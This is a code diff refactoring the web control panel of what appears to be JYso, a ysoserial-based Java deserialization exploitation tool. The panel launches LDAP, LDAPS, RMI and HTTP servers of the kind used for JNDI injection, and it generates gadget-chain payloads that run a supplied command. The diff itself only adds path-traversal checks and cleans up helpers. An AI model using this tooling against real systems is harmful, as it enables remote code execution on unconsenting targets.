handlePayloadGenerate(req, resp);
|
||||||
|
break;
|
||||||
|
case "/config/update":
|
||||||
|
handleConfigUpdate(req, resp);
|
||||||
|
break;
|
||||||
|
case "/files/delete":
|
||||||
|
handleFileDelete(req, resp);
|
||||||
|
break;
|
||||||
|
case "/files/upload":
|
||||||
|
handleFileUpload(req, resp);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
sendNotFound(resp);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void sendNotFound(HttpServletResponse resp) throws IOException {
|
||||||
|
resp.setStatus(404);
|
||||||
|
resp.getWriter().write("{\"error\":\"Not found\"}");
|
||||||
|
}
|
||||||
|
|
||||||
private void handleStatus(HttpServletResponse resp) throws IOException {
|
private void handleStatus(HttpServletResponse resp) throws IOException {
|
||||||
Map<String, Object> status = new LinkedHashMap<>();
|
resp.getWriter().write(JSON.toJSONString(buildStatusMap()));
|
||||||
status.put("ldapRunning", LdapServer.isRunning);
|
|
||||||
status.put("ldapsRunning", LdapsServer.isRunning);
|
|
||||||
status.put("httpRunning", HTTPServer.isRunning);
|
|
||||||
status.put("rmiRunning", RMIServer.isRunning);
|
|
||||||
status.put("ip", Config.ip);
|
|
||||||
status.put("ldapPort", Config.ldapPort);
|
|
||||||
status.put("ldapsPort", Config.ldapsPort);
|
|
||||||
status.put("httpPort", Config.httpPort);
|
|
||||||
status.put("rmiPort", Config.rmiPort);
|
|
||||||
status.put("codeBase", Config.codeBase);
|
|
||||||
status.put("AESkey", Config.AESkey);
|
|
||||||
status.put("user", Config.USER);
|
|
||||||
status.put("PASSWD", Config.PASSWD);
|
|
||||||
status.put("TLSProxy", Config.TLSProxy);
|
|
||||||
status.put("keyPass", Config.keyPass);
|
|
||||||
status.put("certFile", Config.certFile);
|
|
||||||
status.put("version", "1.3.8");
|
|
||||||
resp.getWriter().write(JSON.toJSONString(status));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void handleLogs(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
private void handleLogs(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
||||||
@@ -111,11 +138,11 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void handleFileList(HttpServletResponse resp) throws IOException {
|
private void handleFileList(HttpServletResponse resp) throws IOException {
|
||||||
java.io.File dir = new java.io.File(".");
|
File dir = new File(".");
|
||||||
java.io.File[] files = dir.listFiles(File::isFile);
|
File[] files = dir.listFiles(File::isFile);
|
||||||
List<Map<String, Object>> list = new ArrayList<>();
|
List<Map<String, Object>> list = new ArrayList<>();
|
||||||
if (files != null) {
|
if (files != null) {
|
||||||
for (java.io.File f : files) {
|
for (File f : files) {
|
||||||
Map<String, Object> item = new LinkedHashMap<>();
|
Map<String, Object> item = new LinkedHashMap<>();
|
||||||
item.put("name", f.getName());
|
item.put("name", f.getName());
|
||||||
item.put("size", f.length());
|
item.put("size", f.length());
|
||||||
@@ -134,20 +161,20 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
resp.getWriter().write("{\"error\":\"name required\"}");
|
resp.getWriter().write("{\"error\":\"name required\"}");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Path filePath = Paths.get(name);
|
Path filePath = WebUtils.resolveSafePath(name);
|
||||||
if (!Files.exists(filePath)) {
|
if (!Files.exists(filePath)) {
|
||||||
resp.setStatus(404);
|
resp.setStatus(404);
|
||||||
resp.getWriter().write("{\"error\":\"file not found\"}");
|
resp.getWriter().write("{\"error\":\"file not found\"}");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
resp.setContentType("application/octet-stream");
|
resp.setContentType("application/octet-stream");
|
||||||
resp.setHeader("Content-Disposition", "attachment; filename=\"" + name + "\"");
|
resp.setHeader("Content-Disposition", "attachment; filename=\"" + filePath.getFileName() + "\"");
|
||||||
resp.setContentLengthLong(Files.size(filePath));
|
resp.setContentLengthLong(Files.size(filePath));
|
||||||
Files.copy(filePath, resp.getOutputStream());
|
Files.copy(filePath, resp.getOutputStream());
|
||||||
}
|
}
|
||||||
|
|
||||||
private void handleFileDelete(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
private void handleFileDelete(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
||||||
JSONObject json = readJson(req);
|
JSONObject json = WebUtils.readJson(req);
|
||||||
String name = json.getString("name");
|
String name = json.getString("name");
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
Map<String, Object> result = new LinkedHashMap<>();
|
||||||
if (name == null || name.isEmpty()) {
|
if (name == null || name.isEmpty()) {
|
||||||
@@ -156,7 +183,7 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
resp.getWriter().write(JSON.toJSONString(result));
|
resp.getWriter().write(JSON.toJSONString(result));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Path filePath = Paths.get(name);
|
Path filePath = WebUtils.resolveSafePath(name);
|
||||||
if (!Files.exists(filePath)) {
|
if (!Files.exists(filePath)) {
|
||||||
result.put("success", false);
|
result.put("success", false);
|
||||||
result.put("error", "file not found");
|
result.put("error", "file not found");
|
||||||
@@ -181,7 +208,7 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
if (fileName == null || fileName.isEmpty()) {
|
if (fileName == null || fileName.isEmpty()) {
|
||||||
fileName = "uploaded_file";
|
fileName = "uploaded_file";
|
||||||
}
|
}
|
||||||
Path targetPath = Paths.get(fileName);
|
Path targetPath = WebUtils.resolveSafePath(fileName);
|
||||||
try (InputStream input = filePart.getInputStream()) {
|
try (InputStream input = filePart.getInputStream()) {
|
||||||
Files.copy(input, targetPath, StandardCopyOption.REPLACE_EXISTING);
|
Files.copy(input, targetPath, StandardCopyOption.REPLACE_EXISTING);
|
||||||
}
|
}
|
||||||
@@ -196,66 +223,53 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void handleServersStart(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
private void handleServersStart(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
||||||
JSONObject json = readJson(req);
|
JSONObject json = WebUtils.readJson(req);
|
||||||
|
applyNetworkConfig(json);
|
||||||
|
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
Map<String, Object> result = new LinkedHashMap<>();
|
||||||
List<String> started = new ArrayList<>();
|
List<String> started = new ArrayList<>();
|
||||||
List<String> errors = new ArrayList<>();
|
|
||||||
|
|
||||||
boolean startLdap = json.getBooleanValue("ldap");
|
boolean startLdap = json.getBooleanValue("ldap");
|
||||||
boolean startLdaps = json.getBooleanValue("ldaps");
|
boolean startLdaps = json.getBooleanValue("ldaps");
|
||||||
boolean startHttp = json.getBooleanValue("http");
|
boolean startHttp = json.getBooleanValue("http");
|
||||||
boolean startRmi = json.getBooleanValue("rmi");
|
boolean startRmi = json.getBooleanValue("rmi");
|
||||||
|
|
||||||
if (json.containsKey("ip")) Config.ip = json.getString("ip");
|
|
||||||
if (json.containsKey("ldapPort")) Config.ldapPort = json.getIntValue("ldapPort");
|
|
||||||
if (json.containsKey("ldapsPort")) Config.ldapsPort = json.getIntValue("ldapsPort");
|
|
||||||
if (json.containsKey("httpPort")) Config.httpPort = json.getIntValue("httpPort");
|
|
||||||
if (json.containsKey("rmiPort")) Config.rmiPort = json.getIntValue("rmiPort");
|
|
||||||
|
|
||||||
if (startLdap && !LdapServer.isRunning) {
|
if (startLdap && !LdapServer.isRunning) {
|
||||||
new Thread(() -> { try { LdapServer.start(); } catch (Exception ignored) {} }, "ldap-starter").start();
|
new Thread(() -> { try { LdapServer.start(); } catch (Exception e) { log.error("Failed to start LDAP server", e); } }, "ldap-starter").start();
|
||||||
started.add("LDAP");
|
started.add("LDAP");
|
||||||
}
|
}
|
||||||
if (startHttp && !HTTPServer.isRunning) {
|
if (startHttp && !HTTPServer.isRunning) {
|
||||||
new Thread(() -> { try { HTTPServer.start(); } catch (Exception ignored) {} }, "http-starter").start();
|
new Thread(() -> { try { HTTPServer.start(); } catch (Exception e) { log.error("Failed to start HTTP server", e); } }, "http-starter").start();
|
||||||
started.add("HTTP");
|
started.add("HTTP");
|
||||||
}
|
}
|
||||||
if (startLdaps && !LdapsServer.isRunning) {
|
if (startLdaps && !LdapsServer.isRunning) {
|
||||||
new Thread(() -> { try { LdapsServer.start(); } catch (Exception ignored) {} }, "ldaps-starter").start();
|
new Thread(() -> { try { LdapsServer.start(); } catch (Exception e) { log.error("Failed to start LDAPS server", e); } }, "ldaps-starter").start();
|
||||||
started.add("LDAPS");
|
started.add("LDAPS");
|
||||||
}
|
}
|
||||||
if (startRmi && !RMIServer.isRunning) {
|
if (startRmi && !RMIServer.isRunning) {
|
||||||
new Thread(() -> { try { RMIServer.start(); } catch (Exception ignored) {} }, "rmi-starter").start();
|
new Thread(() -> { try { RMIServer.start(); } catch (Exception e) { log.error("Failed to start RMI server", e); } }, "rmi-starter").start();
|
||||||
started.add("RMI");
|
started.add("RMI");
|
||||||
}
|
}
|
||||||
|
|
||||||
result.put("started", started);
|
result.put("started", started);
|
||||||
result.put("errors", errors);
|
result.put("errors", Collections.emptyList());
|
||||||
result.put("success", true);
|
result.put("success", true);
|
||||||
resp.getWriter().write(JSON.toJSONString(result));
|
resp.getWriter().write(JSON.toJSONString(result));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void handleServersStop(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
private void handleServersStop(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
||||||
JSONObject json = readJson(req);
|
JSONObject json = WebUtils.readJson(req);
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
|
||||||
String server = json.getString("server");
|
String server = json.getString("server");
|
||||||
if (server == null) {
|
if (server == null) {
|
||||||
result.put("success", false);
|
sendError(resp, "server name required");
|
||||||
result.put("error", "server name required");
|
|
||||||
resp.getWriter().write(JSON.toJSONString(result));
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
switch (server.toLowerCase()) {
|
boolean stopped = stopServer(server.toLowerCase());
|
||||||
case "ldap": LdapServer.stop(); break;
|
if (!stopped) {
|
||||||
case "ldaps": LdapsServer.stop(); break;
|
sendError(resp, "unknown server: " + server);
|
||||||
case "http": HTTPServer.stop(); break;
|
return;
|
||||||
case "rmi": RMIServer.stop(); break;
|
|
||||||
default:
|
|
||||||
result.put("success", false);
|
|
||||||
result.put("error", "unknown server: " + server);
|
|
||||||
resp.getWriter().write(JSON.toJSONString(result));
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
|
Map<String, Object> result = new LinkedHashMap<>();
|
||||||
result.put("success", true);
|
result.put("success", true);
|
||||||
result.put("server", server);
|
result.put("server", server);
|
||||||
result.put("status", buildStatusMap());
|
result.put("status", buildStatusMap());
|
||||||
@@ -263,59 +277,23 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void handleServersToggle(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
private void handleServersToggle(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
||||||
JSONObject json = readJson(req);
|
JSONObject json = WebUtils.readJson(req);
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
|
||||||
String server = json.getString("server");
|
String server = json.getString("server");
|
||||||
if (server == null) {
|
if (server == null) {
|
||||||
result.put("success", false);
|
sendError(resp, "server name required");
|
||||||
result.put("error", "server name required");
|
|
||||||
resp.getWriter().write(JSON.toJSONString(result));
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
boolean nowRunning = false;
|
boolean[] nowRunning = {false};
|
||||||
switch (server.toLowerCase()) {
|
boolean handled = toggleServer(server.toLowerCase(), nowRunning);
|
||||||
case "ldap":
|
if (!handled) {
|
||||||
if (LdapServer.isRunning) {
|
sendError(resp, "unknown server: " + server);
|
||||||
LdapServer.stop();
|
return;
|
||||||
} else {
|
|
||||||
new Thread(() -> { try { LdapServer.start(); } catch (Exception ignored) {} }, "ldap-toggler").start();
|
|
||||||
nowRunning = true;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case "ldaps":
|
|
||||||
if (LdapsServer.isRunning) {
|
|
||||||
LdapsServer.stop();
|
|
||||||
} else {
|
|
||||||
new Thread(() -> { try { LdapsServer.start(); } catch (Exception ignored) {} }, "ldaps-toggler").start();
|
|
||||||
nowRunning = true;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case "http":
|
|
||||||
if (HTTPServer.isRunning) {
|
|
||||||
HTTPServer.stop();
|
|
||||||
} else {
|
|
||||||
new Thread(() -> { try { HTTPServer.start(); } catch (Exception ignored) {} }, "http-toggler").start();
|
|
||||||
nowRunning = true;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case "rmi":
|
|
||||||
if (RMIServer.isRunning) {
|
|
||||||
RMIServer.stop();
|
|
||||||
} else {
|
|
||||||
new Thread(() -> { try { RMIServer.start(); } catch (Exception ignored) {} }, "rmi-toggler").start();
|
|
||||||
nowRunning = true;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
result.put("success", false);
|
|
||||||
result.put("error", "unknown server: " + server);
|
|
||||||
resp.getWriter().write(JSON.toJSONString(result));
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
try { Thread.sleep(800); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
|
try { Thread.sleep(800); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
|
||||||
|
Map<String, Object> result = new LinkedHashMap<>();
|
||||||
result.put("success", true);
|
result.put("success", true);
|
||||||
result.put("server", server);
|
result.put("server", server);
|
||||||
result.put("running", nowRunning);
|
result.put("running", nowRunning[0]);
|
||||||
result.put("status", buildStatusMap());
|
result.put("status", buildStatusMap());
|
||||||
resp.getWriter().write(JSON.toJSONString(result));
|
resp.getWriter().write(JSON.toJSONString(result));
|
||||||
}
|
}
|
||||||
@@ -333,15 +311,14 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void handlePayloadGenerate(HttpServletRequest req, HttpServletResponse resp) throws Exception {
|
private void handlePayloadGenerate(HttpServletRequest req, HttpServletResponse resp) throws Exception {
|
||||||
JSONObject json = readJson(req);
|
JSONObject json = WebUtils.readJson(req);
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
|
||||||
|
|
||||||
String gadget = json.getString("gadget");
|
String gadget = json.getString("gadget");
|
||||||
String command = json.getString("command");
|
String command = json.getString("command");
|
||||||
String saveFilename = json.getString("filename");
|
String saveFilename = json.getString("filename");
|
||||||
boolean encodeBase64 = json.getBooleanValue("encodeBase64");
|
boolean encodeBase64 = json.getBooleanValue("encodeBase64");
|
||||||
|
|
||||||
if (gadget == null || command == null) {
|
if (gadget == null || command == null) {
|
||||||
|
Map<String, Object> result = new LinkedHashMap<>();
|
||||||
result.put("success", false);
|
result.put("success", false);
|
||||||
result.put("error", "gadget and command are required");
|
result.put("error", "gadget and command are required");
|
||||||
resp.getWriter().write(JSON.toJSONString(result));
|
resp.getWriter().write(JSON.toJSONString(result));
|
||||||
@@ -351,7 +328,7 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
boolean keepFile = (saveFilename != null && !saveFilename.trim().isEmpty());
|
boolean keepFile = (saveFilename != null && !saveFilename.trim().isEmpty());
|
||||||
String filename = keepFile ? saveFilename.trim() : "1.ser";
|
String filename = keepFile ? saveFilename.trim() : "1.ser";
|
||||||
|
|
||||||
java.util.List<String> argList = new java.util.ArrayList<>();
|
List<String> argList = new ArrayList<>();
|
||||||
argList.add("-y");
|
argList.add("-y");
|
||||||
argList.add("-g");
|
argList.add("-g");
|
||||||
argList.add(gadget);
|
argList.add(gadget);
|
||||||
@@ -383,51 +360,41 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
argList.add(dirtyLengthVal.trim());
|
argList.add(dirtyLengthVal.trim());
|
||||||
}
|
}
|
||||||
|
|
||||||
ysoserial.run(argList.toArray(new String[0]));
|
|
||||||
|
|
||||||
Path filePath = Paths.get(filename);
|
Path filePath = Paths.get(filename);
|
||||||
byte[] data = Files.readAllBytes(filePath);
|
try {
|
||||||
|
ysoserial.run(argList.toArray(new String[0]));
|
||||||
|
byte[] data = Files.readAllBytes(filePath);
|
||||||
|
|
||||||
result.put("success", true);
|
Map<String, Object> result = new LinkedHashMap<>();
|
||||||
if (encodeBase64) {
|
result.put("success", true);
|
||||||
String b64 = Base64.getEncoder().encodeToString(data);
|
if (encodeBase64) {
|
||||||
result.put("message", b64);
|
String b64 = Base64.getEncoder().encodeToString(data);
|
||||||
|
result.put("message", b64);
|
||||||
|
if (keepFile) {
|
||||||
|
Files.write(filePath, b64.getBytes());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
StringBuilder hex = new StringBuilder();
|
||||||
|
for (byte b : data) {
|
||||||
|
hex.append(String.format("%02x", b));
|
||||||
|
}
|
||||||
|
result.put("message", hex.toString());
|
||||||
|
}
|
||||||
if (keepFile) {
|
if (keepFile) {
|
||||||
Files.write(filePath, b64.getBytes());
|
result.put("saved", filename);
|
||||||
}
|
}
|
||||||
} else {
|
resp.getWriter().write(JSON.toJSONString(result));
|
||||||
StringBuilder hex = new StringBuilder();
|
} finally {
|
||||||
for (byte b : data) {
|
if (!keepFile) {
|
||||||
hex.append(String.format("%02x", b));
|
Files.deleteIfExists(filePath);
|
||||||
}
|
}
|
||||||
result.put("message", hex.toString());
|
|
||||||
}
|
}
|
||||||
if (!keepFile) {
|
|
||||||
Files.deleteIfExists(filePath);
|
|
||||||
}
|
|
||||||
if (keepFile) {
|
|
||||||
result.put("saved", filename);
|
|
||||||
}
|
|
||||||
resp.getWriter().write(JSON.toJSONString(result));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void handleConfigUpdate(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
private void handleConfigUpdate(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
||||||
JSONObject json = readJson(req);
|
JSONObject json = WebUtils.readJson(req);
|
||||||
|
applyFullConfig(json);
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
Map<String, Object> result = new LinkedHashMap<>();
|
||||||
|
|
||||||
if (json.containsKey("ip")) Config.ip = json.getString("ip");
|
|
||||||
if (json.containsKey("ldapPort")) Config.ldapPort = json.getIntValue("ldapPort");
|
|
||||||
if (json.containsKey("ldapsPort")) Config.ldapsPort = json.getIntValue("ldapsPort");
|
|
||||||
if (json.containsKey("httpPort")) Config.httpPort = json.getIntValue("httpPort");
|
|
||||||
if (json.containsKey("rmiPort")) Config.rmiPort = json.getIntValue("rmiPort");
|
|
||||||
if (json.containsKey("codeBase")) Config.codeBase = json.getString("codeBase");
|
|
||||||
if (json.containsKey("AESkey")) Config.AESkey = json.getString("AESkey");
|
|
||||||
if (json.containsKey("user")) Config.USER = json.getString("user");
|
|
||||||
if (json.containsKey("PASSWD")) Config.PASSWD = json.getString("PASSWD");
|
|
||||||
if (json.containsKey("TLSProxy")) Config.TLSProxy = json.getBooleanValue("TLSProxy");
|
|
||||||
if (json.containsKey("keyPass")) Config.keyPass = json.getString("keyPass");
|
|
||||||
if (json.containsKey("certFile")) Config.certFile = json.getString("certFile");
|
|
||||||
|
|
||||||
result.put("success", true);
|
result.put("success", true);
|
||||||
result.put("config", buildStatusMap());
|
result.put("config", buildStatusMap());
|
||||||
resp.getWriter().write(JSON.toJSONString(result));
|
resp.getWriter().write(JSON.toJSONString(result));
|
||||||
@@ -455,25 +422,61 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
private JSONObject readJson(HttpServletRequest req) throws IOException {
|
private void applyNetworkConfig(JSONObject json) {
|
||||||
StringBuilder sb = new StringBuilder();
|
if (json.containsKey("ip")) Config.ip = json.getString("ip");
|
||||||
try (BufferedReader reader = req.getReader()) {
|
if (json.containsKey("ldapPort")) Config.ldapPort = json.getIntValue("ldapPort");
|
||||||
String line;
|
if (json.containsKey("ldapsPort")) Config.ldapsPort = json.getIntValue("ldapsPort");
|
||||||
while ((line = reader.readLine()) != null) {
|
if (json.containsKey("httpPort")) Config.httpPort = json.getIntValue("httpPort");
|
||||||
sb.append(line);
|
if (json.containsKey("rmiPort")) Config.rmiPort = json.getIntValue("rmiPort");
|
||||||
}
|
|
||||||
}
|
|
||||||
String body = sb.toString();
|
|
||||||
if (body.isEmpty()) return new JSONObject();
|
|
||||||
return JSON.parseObject(body);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private String escapeJson(String s) {
|
private void applyFullConfig(JSONObject json) {
|
||||||
if (s == null) return "null";
|
applyNetworkConfig(json);
|
||||||
return s.replace("\\", "\\\\")
|
if (json.containsKey("codeBase")) Config.codeBase = json.getString("codeBase");
|
||||||
.replace("\"", "\\\"")
|
if (json.containsKey("AESkey")) Config.AESkey = json.getString("AESkey");
|
||||||
.replace("\n", "\\n")
|
if (json.containsKey("user")) Config.USER = json.getString("user");
|
||||||
.replace("\r", "\\r")
|
if (json.containsKey("PASSWD")) Config.PASSWD = json.getString("PASSWD");
|
||||||
.replace("\t", "\\t");
|
if (json.containsKey("TLSProxy")) Config.TLSProxy = json.getBooleanValue("TLSProxy");
|
||||||
|
if (json.containsKey("keyPass")) Config.keyPass = json.getString("keyPass");
|
||||||
|
if (json.containsKey("certFile")) Config.certFile = json.getString("certFile");
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean stopServer(String server) {
|
||||||
|
switch (server) {
|
||||||
|
case "ldap": LdapServer.stop(); return true;
|
||||||
|
case "ldaps": LdapsServer.stop(); return true;
|
||||||
|
case "http": HTTPServer.stop(); return true;
|
||||||
|
case "rmi": RMIServer.stop(); return true;
|
||||||
|
default: return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean toggleServer(String server, boolean[] nowRunning) {
|
||||||
|
switch (server) {
|
||||||
|
case "ldap":
|
||||||
|
if (LdapServer.isRunning) { LdapServer.stop(); }
|
||||||
|
else { new Thread(() -> { try { LdapServer.start(); } catch (Exception e) { log.error("Failed to toggle LDAP server", e); } }, "ldap-toggler").start(); nowRunning[0] = true; }
|
||||||
|
return true;
|
||||||
|
case "ldaps":
|
||||||
|
if (LdapsServer.isRunning) { LdapsServer.stop(); }
|
||||||
|
else { new Thread(() -> { try { LdapsServer.start(); } catch (Exception e) { log.error("Failed to toggle LDAPS server", e); } }, "ldaps-toggler").start(); nowRunning[0] = true; }
|
||||||
|
return true;
|
||||||
|
case "http":
|
||||||
|
if (HTTPServer.isRunning) { HTTPServer.stop(); }
|
||||||
|
else { new Thread(() -> { try { HTTPServer.start(); } catch (Exception e) { log.error("Failed to toggle HTTP server", e); } }, "http-toggler").start(); nowRunning[0] = true; }
|
||||||
|
return true;
|
||||||
|
case "rmi":
|
||||||
|
if (RMIServer.isRunning) { RMIServer.stop(); }
|
||||||
|
else { new Thread(() -> { try { RMIServer.start(); } catch (Exception e) { log.error("Failed to toggle RMI server", e); } }, "rmi-toggler").start(); nowRunning[0] = true; }
|
||||||
|
return true;
|
||||||
|
default: return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void sendError(HttpServletResponse resp, String error) throws IOException {
|
||||||
|
Map<String, Object> result = new LinkedHashMap<>();
|
||||||
|
result.put("success", false);
|
||||||
|
result.put("error", error);
|
||||||
|
resp.getWriter().write(JSON.toJSONString(result));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package com.qi4l.JYso.web;
|
||||||
|
|
||||||
|
import com.alibaba.fastjson.JSON;
|
||||||
|
import com.alibaba.fastjson.JSONObject;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
|
public class WebUtils {
|
||||||
|
|
||||||
|
private static final Path BASE_DIR = Paths.get(".").toAbsolutePath().normalize();
|
||||||
|
|
||||||
|
public static Path resolveSafePath(String name) {
|
||||||
|
if (name == null || name.isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("name is empty");
|
||||||
|
}
|
||||||
|
Path resolved = BASE_DIR.resolve(name).normalize();
|
||||||
|
if (!resolved.startsWith(BASE_DIR)) {
|
||||||
|
throw new IllegalArgumentException("path traversal detected");
|
||||||
|
}
|
||||||
|
return resolved;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static JSONObject readJson(HttpServletRequest req) throws IOException {
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
try (BufferedReader reader = req.getReader()) {
|
||||||
|
String line;
|
||||||
|
while ((line = reader.readLine()) != null) {
|
||||||
|
sb.append(line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String body = sb.toString();
|
||||||
|
if (body.isEmpty()) return new JSONObject();
|
||||||
|
return JSON.parseObject(body);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String escapeJson(String s) {
|
||||||
|
if (s == null) return "null";
|
||||||
|
return s.replace("\\", "\\\\")
|
||||||
|
.replace("\"", "\\\"")
|
||||||
|
.replace("\n", "\\n")
|
||||||
|
.replace("\r", "\\r")
|
||||||
|
.replace("\t", "\\t");
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user